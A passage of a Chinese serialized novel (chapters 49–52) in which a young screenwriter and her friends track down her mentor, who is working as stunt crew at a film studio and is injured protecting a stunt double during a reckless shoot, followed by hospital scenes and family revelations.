“你不让我进去,是因为要做什么决定吗?”刘白不搭她的话,平静地问。
曾倩后背一凉,眼珠子下意识往后一暼,又赶紧收回来,不说话。
刘白叹口气,“那个宁晓枫我们一点也不了解,你不能全信她的话。”
曾倩一怔,仿佛从魔鬼手里抢回了神魂,密密麻麻地开始后怕,她本能地抬头看他。刘白从她眼睛里看见了迷失与恐惧,他拉住她手进了房间。
看见茶几上的手机还停在合同页面,曾倩骤然心虚,立即拿过来熄灭屏幕。刘白只是问她,“为什么剪短发?”
曾倩随口说:“我的脸太柔和了,短发凌厉些。”
“你这么想变成她?”刘白吃起了剩下半包薯片。
曾倩心头又挨了一拳,“没有,只是我更适合短发。”
“小倩,你想想她现在,躲着不见人,工作室岌岌可危,做什么都孤身一人,你想成为这样的人?”
“这是暂时的,她以前不是这样的!”曾倩提高了声音,就像被踩了尾巴。
“你没想过,有从前就会有现在吗?”刘白幽幽的声音缠绕在她耳朵里,“下学期跟我回学校吧,我们先把书念完。”
“我肯定会毕业的,你怕什么。”
“我不怕,你怕。”刘白扔掉吃完的薯片包装,站起来,“你想靠你的剧本一鸣惊人,像她当年一样提前毕业,甚至免论文免答辩,没错吧?但你怕,你怕你不是她,你做不到。”
曾倩被激怒了,她瞪着刘白,“放屁!你一点也不了解我!你滚!”
刘白从兜里掏出一管瑞士糖放在她面前,“你今天没找到吧?就在薯片旁边。”说完转身离开了她的房间。
曾倩气得猛踢了几下茶几,疼得龇牙咧嘴。她就是怕,刘白说的一点没错。可她却不知道还能做什么,她好像已经把所有力气都用光了,但也还只是个东施效颦而已。
她吃了一颗糖,颓然倒进被子里,哭泣。
49. 相识已近十年,如今重又陌生
第二天一早,三个人十分默契,穿着白衬衣,带着黑超墨镜,出门直奔影视城。横店的官网有每个场景的剧组使用信息通报,三人又十分默契,一人打了一份,站在秦王宫门口时,各自从兜里掏出来,才发现人类的想法竟然如此雷同,三人互相看看你看看他,几秒后,同时笑出声来。
心中不禁都在自嘲自己自以为聪明。
刘白难得开口评价,“听说乌合之众就是我们这样的。”
二人各自白了他一眼。
李雯请的私家侦探没有再给任何新消息,在最后一张长焦特写上,何芳芳身边群演的衣着和道具看起来,最有可能就是在秦王宫。
秦王宫里当前只有两个组,都没有何芳芳的踪影,毫无意外,剧务连听都没听过这个名字。曾倩和李雯咬着冰激凌鸡蛋仔,蹲在复道墙根儿下,一边吃一边苦闷,刘白站在下风向上抽烟。曾倩咬了一口鸡蛋仔,还没咽下去,含混道:“你说,如果我们问的是杜华年呢?万一她没用本名呢?”
李雯像看傻子一样嫌弃地看着她,“那还用我们来找吗?狗仔是傻子吗?我请的私家侦探是傻子吗?”
啊对!我怎么这么可笑?如果她自称是杜华年,她怎么可能会消失在人海?她就是因为想藏起来,才可能用回本名,甚至,她还可能换了什么别的名字。
曾倩为自己的反常感到无力,低下头继续吃。李雯的电话响了,另外四只眼睛立即盯向她。她看一眼屏幕,陌生号码。她将它翻过来,亮在他们眼前,点了接听,开了扬声器。
“喂,李雯姐,我是慕华,听说你们在找华年姐。”
谁也没想到,会再听到这个人的声音。
慕华等了一会儿,期待中的挂断或者骂声都没有出现。于是才说:“我知道她在哪。”
三人的沉默更大声了。
慕华约他们在河边见面。
李雯挂掉电话,第一句话是骂娘,“他妈的,这帮拿了钱办不了事的废物!”
河边,慕华等在柳荫下,她裹在一件牛仔外套里,外套洗得很旧,眼圈乌青,头发扎了个潦草的低丸子。再见面,这三个女人都没了脾气,哦不,是没了意气。
“你挺憔悴呀。”李雯问她。慕华答:“改飞页,熬大夜了。”她递过来一张纸,折叠好的,“华年姐在这个组。”李雯伸手就要接,她抽回手,“别卖了我行吗?她要知道是我告诉你的,能弄死我。”李雯愣了,冷笑,也收回手,“哼,你以为我很相信你吗?”
慕华并没有难堪,只是淡淡笑笑,“我知道,你但凡有别的办法能找到她,也不会来见我的。”
李雯看了她两眼,觉得她变了很多,“你怎么发现她的?”
“在同一个景,她在我隔壁组,有天放饭,我看见她了。”
“就是巧合?”李雯难以相信。
“嗯,就是巧合。”
李雯和曾倩都感到可笑的愤怒,她们花钱花时间,费了多大的力气,也找不到她,可她竟然就跟慕华这么有缘分?实在是太过分了。
“那你怎么知道她现在在哪里?”曾倩插口问了一句。
“我们一直有联系。”慕华看了曾倩一眼。
李雯和曾倩对视一眼,眼神都像见了鬼。
慕华知道她们不敢相信,翻出了微信聊天界面,给他们展示证据。
华年姐:下工没?出来宵夜,我请。
我:还有半小时。
我:我请吧今天。
华年姐:老地方等你。
华年姐:引用[我请吧今天]再废话拉黑。
我:[狗头]
……
华年姐:下工没?出来喝酒。
我:华年姐,我今天得熬大夜。
华年姐:哦。
五分钟后。
华年姐:在哪个景,我带酒去。
三分钟后。
我:清明上河园,《宋时繁华》剧组。
……
类似对话,还有许多。李雯和曾倩越看心越凉,最后脸色全白了。
慕华在她们脸上看见了和自己一样的感受,于是帮她们说出来,“她以前只是可怕。现在是可怖。”
刘白不知道这里头的可怖,但李雯懂,曾倩懂。李雯不甘心和慕华进入同一阵营,于是挖苦她,“你不是做梦都想和老杜亲近吗?怎么可怖了?”慕华笑,带点冷带点苦,“别取笑我了,雯姐。我觉得她现在很糟糕,状态真的很差。我不懂她心里想什么,但我觉得她很煎熬,真的,我都替她难受,搞得我自己都不难受了。”
最后这句倒是让李雯感同身受地笑了好一阵,才点点头,“谢了。”伸手抽走了纸。
曾倩是被刘白拉着走的,他发现她从看见微信聊天起,眼神就发直,跟要疯了似的。
曾倩在剧组看见何芳芳的时候,差点给她跪了。
何芳芳竟然学人家吊在威亚上头!
看着她悬在半空中,双手和头都垂下来,背着光,微风里飘飘荡荡。李雯和曾倩的一颗心也跟在半空飘飘荡荡,刘白拧着眉望着她,想看清她的表情。因为她那个样子,真像个吊死鬼。
“老何!有人找!”不知道谁从后头喊了一嗓子。三人回头找也没找到,倒是何芳芳抬起头睁开眼,垂眸看见了下头立着三个人,都仰着脖子望着她。一阵风来,何芳芳又微微摆荡起来。迎着光,三人眯着眼,脖子都酸透了,也没看清她的脸色。他们就这样,半空和地面,一俯一仰,风中凝视。
看着何芳芳来到他们面前,三个人都说不出话来。她裹个蓝白相间像被单似的东西,穿着不辨雌雄的沙滩短裤,一双灰不拉几的白布鞋,头发打绺,脸上油光可鉴,鼻尖上冒着几颗小黑头。即便是李雯,也从未见过她如此邋遢的模样。
“你们咋来了?”她一开口,嗓音粗糙,从怀里摸出一盒烟。
曾倩第一个忍受不了,“你怎么变这样了?”
“你倒是变得更好看了,短发适合你,挺好。”她回了一句。点上烟,往道具组走,三人跟着她。李雯一直没说话,倒是曾倩,追着她把最近工作室的困境说了一遍,“都怪我,我觉得不要打扰你,雯姐也忙得不可开交,所以我想我要是自己能干些,把很多事办了,你们也能轻松点。结果……”
何芳芳随便挑了一个木箱子坐下,抬下巴示意他们都坐,三人也就近坐在了不同的木头箱子上。何芳芳吸了两口烟,过了瘾才说:“这些我都知道。也不算你的错,有人要给你使绊子,你还能防得住?毕竟你也就是个大学生而已。”
曾倩惊得张大了嘴,“你知道?”
“很难知道吗?”何芳芳点头,掸了掸烟灰,“看热搜上挂的什么不就行了。”
“那你还坐得住?”曾倩站起来,“你还不接电话,你……”
李雯拉住她,示意她坐下,然后对何芳芳笑,“老杜啊,你现在变成老何了啊?”
何芳芳看着她的笑
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,淡淡来一句,“你也变了,阿雯。”
听到这句,李雯的笑容微微凝滞。这两个人就这样静默地望着彼此的眼睛,带着难以言说的笑意,相识已近十年,如今重又陌生。
曾倩从她们的脸上看出了什么不得了的东西,仿佛一切就要在这一刻注定。她屏住呼吸,想打破这种仓促的决定,又不敢,不自觉地,她抓住了一旁刘白的手。刘白垂眸,见她的手指捏得泛青,又看向她侧脸,她只是专注且紧张地看着何芳芳和李雯。
李雯先收回视线,她问,“老杜,你现在还能拿出一个本子吗?”
何芳芳看向别处,“难。”
“行。”李雯眼一闭,顿了顿,才说:“猫猫我给你带来了,你住哪?我给你送过去。”
何芳芳听见猫猫两个字,才有了点波动,转过头,“我去接她。”
“行。”李雯一直凝视着何芳芳,“我跟老杜单独聊几句。你俩躲一躲。”李雯很少这样说话,刘白拉着反应迟缓的曾倩走远了些。李雯和何芳芳就这样面对面坐着,她有很多话想说,例如关于诗萍的真相,关于她敲了亲妈的竹杠,现在还想敲亲爹的竹杠,但她实在不知道从哪里开始讲,话到嘴边,又觉得不是什么好说的事情,于是她说:“还是老规矩,我出钱,你出力。沈董想干什么我不知道,但我去搞一笔钱,实在不行,这部戏就埋了,只要钱到了,总能熬过去。”
何芳芳知道这不是她想说的话,李雯瘦了很多,皮肤也糙了,脸色蜡黄。她向来花大价钱保养她的脸,这样的情况还从未有过。“阿雯,趁早拿多点钱离开家吧,工作室是个烂摊子,谁想要,你就把它卖给谁,钱你们分一分,别管我了。”
李雯想揍她,又觉得没意思,“我怕你烂在这里。”
何芳芳笑了,“再不济我也是何芳芳,何文谦女儿,何文衫侄女,总比别人强一些。”
李雯真的很想揍她,她蹭一下站了起来,拳头都攥好了,但,还是算了。
看见她走过来,曾倩迎上去,“雯姐。”
“你跟着她,我有事做,要走了。”李雯拍拍曾倩,手却被她一把拉住,“你去哪?她不听我的怎么办?她从来不听我的!”
“你以为她会听我的?”李雯苦笑,“我去搞钱,多的你不用知道。”
曾倩彻底愣住了,她望着李雯决然的背影,伸出去的手根本碰不到她,她大步走远,曾倩心底涌起绝望的高浪,她还是看着剧情走到了此刻的寥落,感到无尽的悲痛。刘白扶住她肩,想给她一点支撑,可是这点安慰实在太小。
她走回去,站在何芳芳面前,死死望着她,泪水挤满双眼,“芳芳姐!你怎么可以变成这样?我还以为你在老家伤心过度,不知道我们发生了什么……可是你都知道……你跑到这里混剧组,你离我们那么近……”她突然说不下去,因为泪水掉了下来,她猝不及防,只能来回眨着眼睛。
何芳芳抬眸看着她,眼里不知悲喜。刘白却在看着何芳芳,他试图解读出更多的东西,从她淡漠的脸上。他知道,曾经在那场雪夜对他说出那番话的人,不可能这么简单,更不会轻易认输。
曾倩情绪缓了缓,用手抹抹泪,“天地文化有个沈董,说是你的故人,是个女人,我见过几次,就是她想抢工作室。你好好想想,你的故人是谁。”
曾倩和刘白也都走了。
何芳芳在听见故人之时,眼睛里划过一道锋芒,曾倩没看见,但刘白转头的一瞬,却看见了。
50. 自身难保,无暇他顾
曾倩走得很快,低着头,不知道往哪里去。刘白跟在她后头半步距离,他腿长,走得还算从容。天色瑰丽起来,晚霞遍野。
曾倩完全接受不了这个事实,她感到荒唐,努力了这么久,走了好远的路,跋山涉水翻山越岭终于来到庄严的门前,可这扇门后,竟然藏着的不是宝箱,不是锦囊妙计,而是一个不中用的杜华年。
刘白看她越走越急,闷声不吭的,但已经满头大汗,脸色潮红,嘴唇却又干又白。他上前一步拽住她,迫使她停下,“小倩!”曾倩这才回过神来,气喘吁吁望着他,半晌,“哇”一声哭出来。
两人已不知不觉来到了河边,几棵大树枝丫低垂,就要倒伏在水面上,不远处是一座桥,桥上人来人往,车水马龙。
曾倩捂着脸缓缓蹲下,低声呜咽,泪水从下巴上滴下来。刘白想上前抱着她,但犹豫了,只是蹲下身,伸出手去拍着她后背。哭了一会儿,曾倩心头爽快了许多,抹把脸,也蹲累了,干脆往后一坐,看着粼粼的河水,想起那首诗:
一道残阳铺水中,半江瑟瑟半江红。
刘白也在她旁边坐下,曾倩兀自开口,“我知道雯姐不打算再管了。我也能明白她。你知道吗?这感觉真的很糟糕,就好像我剧本已经写了几十页,前两幕都写完了,我铺垫了这么久!这么多!可她……可再翻一页,本来应该是向死而生的高潮,可结果她给我来了个结局,而且是一句话就完了!一句她都知道……就没了?就没了?!我那些伏笔、渲染……气氛推得那么高……她‘嘣’一下,把气氛戳破了,漏了一地……我感觉我白写了,刘白,你懂吗?那都是我的心血啊!”她语无伦次,越说越激动,望着刘白,眼睛红彤彤的,又要哭了。
刘白看得心里一阵阵酸疼,下意识就说:“我觉得没这么简单,她不像一个轻易放弃的人。”
曾倩眼中一亮,她仔细看着刘白,判断他不像说谎安慰她,才努力平复下来,开口絮叨,“对,对对!不可能的。她不是这样的人,她不是,我妈说过的,她不是……我妈还说了什么?我得想想,快点想想……”
刘白看着她酡红的脸,刘海已经汗湿,耷拉在额头,眼珠子转来转去,像某种处在焦虑中的小动物,他忍不住伸手摸了摸她的头。
“绝望处一定要有转机,这是她教我的,故事就得这么写,因为人生就是这么写的。”曾倩自言自语,“故人!出现了故人,那就是转折点,我要知道沈董到底是谁!”
看她越想越偏,刘白拉住她手,“我觉得她知道沈董是谁,你刚才提的时候,我看见她眼露凶光。”
曾倩看向他,眼中的难以置信底下,藏着凶猛的渴望。
刘白继续说:“我觉得你现在的重心应该放在何芳芳身上。她既然教了你这么多,那有没有告诉你,一个角色,她想要的东西正在被毁灭,可她却无动于衷,是为什么?”
曾倩醍醐灌顶,看着刘白的眼神都变了,下意识接了一句,“是因为她内心正在经历百倍千倍的痛苦折磨,自身难保,无暇他顾!”
曾倩看刘白的神色就像见了鬼,“你怎么知道的?这是她跟我说的原话,你怎么会知道?”
刘白叹口气,“我爸教我的。”
“你爸是谁?”这个答案无疑更惊悚了。
刘白顿了顿,“总有机会告诉你的,你跟我去吃饭吧。”
曾倩还懵着,就被拉走了。
今天一天都是武戏,何芳芳一大早就带着猫猫去了剧组,那会子天才蒙蒙亮。可就在猫猫揉着惺忪睡眼走在她脚边时,晨雾里出现了曾倩的身影,她就坐在昨天那个大木头箱子上,吃着包子。猫猫见到了她——手上的包子,兴奋地醒过来,摇头摆尾跑过去,扒拉她的裤管。
何芳芳扫了一眼四周,没看见刘白。她走上前,问她,“你怎么没回去?”
“回去?回去干嘛?看着工作室被人撬了?”
“你留在这里,它就会安然无恙?”
“我是跟着你来到工作室的,无论如何,现在我也还得跟着你。”
何芳芳打开一旁的木箱子,从里头抱出一个白布大包袱,放在地上,动手去打开绳结,“我已经没什么可以教你的了。”
“那不是你说了算的。”曾倩跳下木箱,三两口吃完包子,蹲下来要帮忙。猫猫看着她一点没剩给她吃,瞪她一眼,发出抱怨的怪声。
何芳芳没有阻止她的动作,包袱打开,里头散出来七八把刀剑枪棍来,“你现在倒是会反客为主了。我是教不了你了,你翅膀硬了。”
听她阴阳怪气,曾倩意外地暼她一眼,“我飞不飞走取决于你。”
何芳芳拿出两节枪杆子,对着隼槽一拧一抬,“咔哒”一声就接上了,“你的人生你自己决定,别拿我当幌子。”
曾倩一手拿着刀柄,一手拿着刀刃,正要学着她的样子接上,听她这话,心神一乱,“你别以为躲在这种地方,你就不是杜华年了。你记得宁晓枫吗?”
何芳芳把长枪架好,偏头斜她一眼,走过去拿走她手上的刀刃和刀柄,随手一抬一拧,“咔哒”又接上了,转身去放在兵器架上。
曾倩追着说:“你随随便便看不过去露一手,就是宁晓枫见到的天光乍现了。你怎么可能装得了平凡普通?别做梦了!你心里受什么煎熬?你告诉我。”
何芳芳烦了,皱眉,“那不是我看不过去露一手,如果我看不过去,那场夜戏最入不了眼的是摄像,镜头给得一塌糊涂。但是关我什么事?你要有心,回去问问宁晓枫,我当时有没有告诉他们镜头要怎么给?高中低?近中远?怎么运镜?从哪到哪?几个机位?拍几次?”她一口气说完,又觉得没意思,叹口气,蹲下去继续干她的活,语气软了些,“阿倩,回去吧,回你的人生里去。”
曾倩最烦她这样子,推开她,从她遇见她起,她就推开她,说好听是为了她,其实就是嫌弃她。“我能回哪去?你打开了我妈的日记,你忘啦?你是指望,我们还能桥归桥,路归路?”
何芳芳平生极恨被人要挟,这本日记看来真成了她的鸡毛令箭了。她不再说话,把地上的白布收进箱子里,又去打开另一个箱子,仍旧从里面抱出一个大包袱。
曾倩走上去,蹲下来和她一起打开包袱,看起来已有几分驾轻就熟了。这次的包袱里是和刚才一模一样的东西,曾倩忍不住好奇,“怎么一样的两包?”
何芳芳静默两秒,还是解答,“这是橡胶的,刚才那些是木头的。”
曾倩愣了两秒,懂了,“噢!打戏是这么玩儿的。”
橡胶的自然不用接,何芳芳一样一样拿出来检查,再摆在另一个架子上。曾倩跟着照做。何芳芳又打开一个箱子,曾倩看了一眼,眼熟,自告奋勇,“这次我来!”她学着何芳芳,从里头抱出白色大包袱,却没想到这包这么死沉,仓啷一声摊在地下,她险些扭了腰。
“哎哟我的妈!这是啥?”
何芳芳看她逞能的样子,也懒得笑她,蹲下打开包袱,“是铁。”
曾倩探头一看,好家伙,还和刚才一模一样,但就是……铁的。
“你们道具真会玩儿。”曾倩感叹一句,何芳芳没理她。
天逐渐亮了起来,清晨就有一场飞戏,三个人要在屋顶追逐。威亚准备就绪,灯光布景就绪,主角各自的替身也就绪。何芳芳在跟副导沟通调度,她自己身上也穿着装备,随时吊上威亚给副导示范动线,旁边还站着两个替身,一男一女,也随时会上威亚演示。
副导看了一会儿,说:“老何你等会儿,我去叫摄影过来,咱一起商量。”
于是男替身趁着空档,又指导了几个动作,看起来他还是个武指。
曾倩回想起刚才何芳芳穿装备,动作娴熟流畅,看来是家常便饭,她又仔细盯着她光秃秃的脸看了好一会儿,试图明白她在这里是找到了怎样的归宿感?
飞戏一条过了,换机位要接落地戏份,各部门调整角度,何芳芳去和演员沟通,“这部分你要迎面拿枪打她,看到吗,就这样……”她拿着橡胶枪示范,“这是动作,你试一下。”
男演员拿过枪,照葫芦画瓢做了一遍,摄影、替身、何芳芳,都皱起了眉头,沉默了。曾倩在不远处看得清楚,忍不住捂嘴偷笑:妈呀,这也太难看了,这男的猪脑子吗?
又试了几次,摄影受不了了,跟何芳芳耳语,何芳芳点点头,回头喊,“武指过来一下!”武指来了,改了动作,更简单了,就拿着长枪扎个马步就
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完事。“到时候拍完全身,就切特写吧,只能这样了,尽量避开演员完整动作,你看行吗?”何芳芳耐着性子跟副导和摄影商量,武指在一边点头,眼神还不时观察一下副导的脸色,似乎很怕。副导听完点了点头,“行,就按你说的,摄影有没有问题?”摄影摇头,武指刚要松口气,男演员不干了。
“我觉得,这样的话,我的这个角色表现得就不够了,他本身是武功高强的人设嘛,那如果只是个亮相,是不是不太符合?”
众人又是一阵沉默。
曾倩憋笑憋得肚子都疼了,心想:还用你说?你要是做得出来刚才的动作,人家用得着这么费劲?
但看起来这个男二号约莫是个有靠山的,众人只能无语凝噎。
副导也是有能耐的,直接踢皮球,“那你觉得怎么办?”
谁知男演员说了一个令人更沉默的提议,“我看到道具里有真枪的,真的质感肯定好,我拿真的拍不就行了?反正也不用真打嘛!”
果然,众人更沉默了。
连曾倩都不笑了,她皱紧眉努力思索:真的和假的,不对打,能看出什么区别?
副导还是很谨慎,“虽说是摆个亮相,但真到拍的时候,你始终要有一个举枪迎上去的动作,威亚那边的时间控制不是那么精准的,到时候如果有时间差,打在替身身上的可能性会大很多,还是……”
“哎呀,”男演员不耐烦了,“我又不会真用力,再说我又不是学武术的,能有多少力量?再说了,威亚控不好时间,你去找威亚啊,给他们上要求啊!”
曾倩瞪大了眼睛。
副导努力坚持了一下,“还是要安全为重……”
“反正都买了保险的,怕什么?难道你们没给人家上保险?”男二说完还鄙夷地看了一眼旁边低着头的女替身演员。
众人还在沉默,可曾倩却分明看见,何芳芳凌厉地抬起眼皮,快速地看了他一眼,又垂下了眸子。曾倩不受控的,原地打了个寒颤——这眼神她熟,何芳芳起了杀机。
最后人们还是向金主爸爸低了头,剧组通报,就按男二的操蛋建议来拍,十分钟后开机。
Action。
女替身从屋檐一镜到底落地,两条就过了,可男二迎击那一下,NG了四次。
导演终于爆了,“怎么回事?武指教你的动作呢?”
男二倒似乎在等这一刻,立刻就接话,“他们说怕我打到替身,所以我不敢用力。”
副导赶紧先想插话解释,导演却直接拍板,“用力,怕什么?我没买保险吗?再来一条!”
副导眼一闭,暗自骂了句娘,睁眼遥遥看向何芳芳,无奈摇头。何芳芳微点头,以示安抚。
Action。
何芳芳站得很近,半步之遥就能入画,曾倩跟在她身后。
女替身就要落下来,男二孱弱的手臂拖起了铁枪,何芳芳眉头紧锁,眼睛一瞬不瞬地盯着枪头,曾倩站在近旁,甚至能感受到她全身紧绷的肌肉。
落地的一瞬间,威亚抻了一下,女替身为了动作完美,在空中拧了一下腰才脚尖触地,可就是慢了这半秒,男二的铁枪已经挥到了她腰间,她脚都没踩实,根本不可能顺着枪的力道向后倒,眼看就只能结结实实挨这一下子。
男二也发现了这个时间差,可千钧一发,他显然吓傻了,只剩下瞪着大眼脸色惨白,更不用指望他孱弱的手臂能收发自如把力道尽量往回撤。铁枪就要顺着惯性砸在女孩儿肋骨上,现场一片抽气声,导演急得站起来大吼,“拉起来啊!”
曾倩吓得魂飞魄散,还没叫出来,眼前就飞过去两道黑影,几乎是在替身落下来的同时,何芳芳和武指都奔了出去。何芳芳伸出手臂将女孩儿拦腰一抱,往她身后防护垫扑倒,武指凌空一脚踢在男二右手大臂上,男二应声也倒在了防护垫上。
就这么一扑一踢,铁枪的动线拐了个方向,但一切发生得太快,何芳芳和女替身还是挨了一下,枪头打在了女孩儿小腹和何芳芳右臂。
倒地瞬间,两人发出了凄厉的惨叫。
现场一片混乱,一群人涌了上去,曾倩大脑一片空白,腿一软,跌坐在地上,眼泪不受控制,“吧嗒吧嗒”密密往下掉。
51. 你需要一个种梧桐的人
出了事故,剧组暂时停工,人送去了医院。
曾倩看着病床上的何芳芳,右手从手肘到手指,都裹在了石膏里,人还在昏睡。
刘白敲了门进来,“吃点东西。剧组那边会赔偿,我问过了。”
“你知道有多疼吗?刚才医生给她打石膏的时候,她脸都白得跟墙面似的,那个汗,真就跟下雨一样。她还问人家医生替身怎么样了,那声音都打颤。”曾倩自顾自地说,“你说她图什么呀?”
刘白看一眼何芳芳,伸手扶住曾倩肩膀,按着她坐下,“你先吃饭,中午就没怎么吃。”刘白打开盒饭递到她手里,“不是剧组的,我另外买的。我去看了那个女孩儿了,还好没大事,盆骨有点裂,但不算严重。她年轻,养一养就好了。”
曾倩想起来那个女替身,也就刚刚二十,她气得想起男二来,“这个算谁的责任?”
“剧组买了保险的,保险赔。”
“明明是那个男演员……”
“小倩,”刘白打断她,“男演员的粉丝们还在跟剧组闹呢,因为他挨了武指一脚,这个事冷处理,对大家都好。这帮粉丝,没脑子的,跟丧尸差不多。”
曾倩一瞬间又想起了沈董的脸,想起那栋大楼的楼顶,想起楼顶的烈风。
在烈风里,她心头忽然闪过一个问题,大声疾呼地问出口,“他为什么一定要用铁枪咧?!”
刘白正要开口,就听见何芳芳沙哑的声音幽幽传来,“因为要拍私房照给粉丝看。”曾倩见她醒了,赶紧去扶,“私房照?”
“对,还要拍视频,估计他是为了炫耀他拿的是真枪,证明他英武不凡。那帮丧尸……不是,那帮花痴,就吃这一套。”她坐好,伸手去拿水杯,曾倩赶紧递给她。
“那也不用实拍的时候用啊!”
“现场会有站姐,站姐是他们首先要笼络的。”
曾倩不说话了,她知道,这个世界上,不是每条命都一样值钱的。她看着何芳芳,问她,“你如果还在写剧本,那么这些人都可能在你的剧组里,他们就不会这么惨了。你宁愿用身体去保护她们,也不愿用你的权力去保护她们吗?哪个更强大,你不知道?”
何芳芳深深吸口气,“阿倩,这件事,现在不由得我说愿不愿了。”
曾倩眼皮一抖,许多话堵在了喉咙里。她看着她的手,看着她的脸,看着她的无力与苍白,她这时才明白,什么叫做心里承受着百倍千倍的痛苦折磨。因为她看见了一个彪悍的人,向别人承认自己的溃败。
如此直白。
如此惨不忍睹。
曾倩替她打开粥碗,送到她面前的小桌板上,又把勺子递到她左手。她满意地道谢,“谢谢!”
然后曾倩站起来,拿着自己的盒饭离开了病房。刘白也要走,但还是忍不住问了何芳芳一句,“你昨天看见我,似乎一点也不意外。”
“嘿嘿……”何芳芳笑起来,整个人都在震,“果然是年轻啊,定力有限。年轻人,还记得冬天的时候我跟你说过什么吗?你现在,显然是没听我的话,也没事,这才像年轻人,不肯轻易放弃。”
刘白看着她,最终点点头,“没哪条路我不能走的。”
何芳芳一挑眉,露出点杜华年的神气来,“好!你是个可造之材。”
刘白和曾倩刚走,慕华就进来了。
她提着一篮子水果,土里土气那种,低着头走过来,把它放在床头。喊了一声“芳芳姐”。她始终低着头,坐在床边的椅子上,也不说话。何芳芳大概猜到了她在想什么,但只是说:“下戏了?今天是没办法请你喝酒了。”她抬抬她的石膏胳膊。
一句话,慕华成功地掉眼泪了,安安静静地滴在她自己的手背上。“芳芳姐,我看了今天,你们组的视频。你可真勇啊!你是真把她当自己人啊!”慕华有点哽咽,抬起头来看着她,眼睛红红的,“芳芳姐,对不起!这段时间你一直照顾我,可我心里还老不相信你,觉得你是不是又想整我……我还老防着你。”
何芳芳凝视她片刻,笑了,“你没错啊,道什么歉?你坑过我,我坑过你,你有戒心,我们有嫌隙,有什么奇怪?”
慕华仔细看了看她的脸,也笑了,“我知道了已经。”
何芳芳抬抬眉毛,“哦?”
“我知道你为什么讨厌我了。”慕华吸吸鼻子,吐出一口气,坐直了身体,认认真真地说:“因为当时,我没帮芊芊。我看见了她那么努力,也发现了她的困境,可是,我没告诉她。但她却对我很好,没有保留。你觉得我不讲义气。”
何芳芳叹口气,“没那么高尚。你为了上位不愿意拉别人一把,那将来为了上位,你也可以踩别人一脚,谁知道哪天,被踩的是不是我呢?所以任谁在我那个位置上,都要提防你这种人的。”
慕华笑着用力点头,泪水被甩出来,“所以,你现在愿意帮我,是因为你希望我知错就改?”
“不是。”何芳芳空洞地看着前方,“我又不是你妈,我管你知不知错?”
慕华脑子里突然“叮”了一声,“哦!是因为你觉得我现在和芊芊一样了!”
何芳芳只是一笑。
刘白带着恍恍惚惚的曾倩来到了河边,找了一家干净些的排挡吃饭。
菜上齐了,曾倩叹口气,抓起啤酒,一口灌了半瓶。刘白沉默地处理好餐具,盛了一碗汤给曾倩,自己打开了曾倩没动的盒饭吃起来。
曾倩又拿了一个碗,去分盒饭,“分我点,看着挺香。”
“凉了。”
“那你还吃?”曾倩呛他,自顾吃起来,“我不能在这里耗了,雯姐不知道去哪了,工作室不能没人管。我得赶回去。我是劝不动她的了,在她心里,她的才华还是事业,根本都不重要,只是我们误解她了,以为她看重这些。”曾倩连吃了好几大口饭,又灌了半瓶酒。
继续说:“她其实根本不知道,她随随便便放弃的东西,在别人那里意味着什么,我不管怎么努
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力,都不可能有她那种天赋……可是她说不要就不要了,她不要她给我啊!她现在是魔怔了,根本不可能再管工作室,什么杜华年,什么金牌编剧,什么重回巅峰,估计她早就不记得自己是谁了。”
她又开了一瓶酒,“我努力了这么久,不可能回头,不可能停下来,我不可能放弃……”眼看第二瓶酒也要见底。
“小倩你醉了。”刘白拦着她拿酒瓶的手,曾倩低头就去咬他手背,不怎么用力,但刘白感觉到热泪滴在手背,随即传来曾倩的呜咽。
他缓缓抚摸她的头,等待她的崩溃过去。
良久,才想说些安慰的话,曾倩就猛地抬起头来,“不对!不对不对,我妈讲过,她早料到会有这么一天!我想起来了,她说苦闷可以掩埋天才,但是天才如果想要涅槃,又只有苦闷才可以烧死她,让她重生。她在一张纸上写过!被我看见了,我还问她,掩埋和重生,是随机的吗?她说当然不是。这时候就需要……”
“这时候就需要我们这样的人,去给她种一棵梧桐树,让她看见漂亮的青碧色枝干,可以有希望走出灰烬,飞到树上头来。”刘白接上了这句话。
曾倩惊得又像看见了鬼。
刘白直视她的眼睛,坦然得很。
曾倩颤抖着问,“你不会是我妈的私生子吧?”
刘白没想到她是这个反应,一愣,接着哭笑不得,“这是我爸告诉我的,你妈不是我爸喜欢的类型。”
曾倩更惊恐了,甚至忘记了忧伤和悲愤,“什么跟什么?你把话讲清楚”
“你妈妈叫华丽娟,是我爸大学同学,我爷爷是他们教授。”
一句话把曾倩砸得呆呆的,捋清楚人物关系后,她忽而理解了这个世界的参差。她想起自己和何芳芳的缘分,就来自于自己老娘与何芳芳的师生关系,又想起反击甘鹏飞的时候,何芳芳身后复杂的关系网。
敢情刘白跟何芳芳才是一路人!难怪她老说我该回到我的人生里,原来她的意思是:我和她不是一个世界的人!
她自嘲地笑,热泪又掉下来,“我刚入学,就听学姐们就说,这个行当最讲究的就是师门,我还不屑一顾呢!呵呵,看来又是我可笑了……”
刘白喝了口酒,也陪着笑,“我也一样。”他只说了这句没头没脑的话,曾倩并没有在意,只顾沉没在情绪里。
这一夜实在是跌宕,哦不,哪一夜不是跌宕呢?最会写故事的,大概是一个叫命运的东西。
她又想起母亲的离世,这一次的悲伤却意外地猛烈,这么多年过去了,今天居然像她刚走那天一样。曾倩迷失了,她不知道今天还是不是今天。
刘白说:“显然何芳芳已经在灰烬里了,再不捞一捞,她就掩埋了。你需要一个种梧桐的人。”
曾倩趴在自己手臂里,抬着眼皮瞟着他,眼睛红红的,“我去哪里搞一个这样的人?我妈已经死了。”
“我有一个人,他可以。”刘白注视她,眼神深切。
52. 种梧桐的人
回去的路上,曾倩趴在刘白背上,问,“你什么时候知道我妈和你爸有关系的?”
刘白又哭笑不得,“你这话问的,像样子吗?”
“什么时候??”曾倩急了,勒他脖子。
“过年的时候,我去找你,在你家老宅子里,我看见了你妈妈的照片。我一眼就认出她了。她有一张毕业照,和我爸、我爷爷奶奶的合照,现在还在我爷爷书桌上摆着。我爷爷到现在都很惋惜,他和我奶奶都很喜欢你妈妈。”
曾倩惊叹,“这么早?你发现了怎么不告诉我?”
刘白觉得她有点无理取闹,无奈笑道:“那之后你有给我机会和你说话吗?”
曾倩不说话了,刘白希望她是睡着了。
医院已经过了探视时间,何芳芳床边却坐着一个一身白衣的女人,左手腕上戴着江诗丹顿女士表。她剥着橘子,笑问,“伤了手,没人照顾,很不方便的。”她递了橘子过去,“芳生,好久不见。”
何芳芳接过橘子,“终于再见到你了,沈编辑。”
然后她把橘子分成了两半,递回去一半,“这里护士都很凶的,你怎么进来的?”
沈荷接了半个橘子,微笑,“她们正好喜欢我公司的演员,我给了她们一些签名照片,还有她们偶像的行程。”
